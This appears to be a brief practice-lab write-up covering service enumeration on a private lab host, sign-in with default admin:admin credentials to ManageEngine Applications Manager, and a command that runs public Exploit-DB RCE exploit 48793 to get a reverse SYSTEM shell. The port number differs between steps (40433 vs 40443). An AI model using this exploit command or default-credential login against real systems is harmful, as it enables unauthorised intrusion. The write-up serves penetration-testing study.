Enumeration

2021年7月13日 14:21

1: Use autorecon to enumerate its services, **135, 139, 445, 5040, 12000**, **22222, 40443, 49670, 49693, 49718, 49796, 49797** and msrpc are open.
2: After verification, SMB is not helpful for my exploit
3: Port **40433** is actually **HTTP** service, log in http://192.168.161.96:40433
4: Access its HTTP service, it is a login portal. The portal reveals it is **Manager Engine Application Manager 14700**, which has a public **RCE** exploit (https://www.exploit-db.com/exploits/48793)
5: Using default credential **admin:admin** can successfully sign in

Foothold

2021年7月13日 14:21

1: Download the exploic, set up a netcat listener and execute **python3 48793.py http://192.168.161.96:40443 admin admin 192.168.49.161 443**

2: Get a system shell

Privilege Escalation

2021年7月13日 14:21

1: It is already a privileged shell
2: type C:/Users/Administrator/Desktop/proof.txt

Review

2021年7月13日 14:21

1: Target **HTTP**, identify HTTP service with an **uncommon port**
2: Use default credential to sign in and search for its version's vulnerability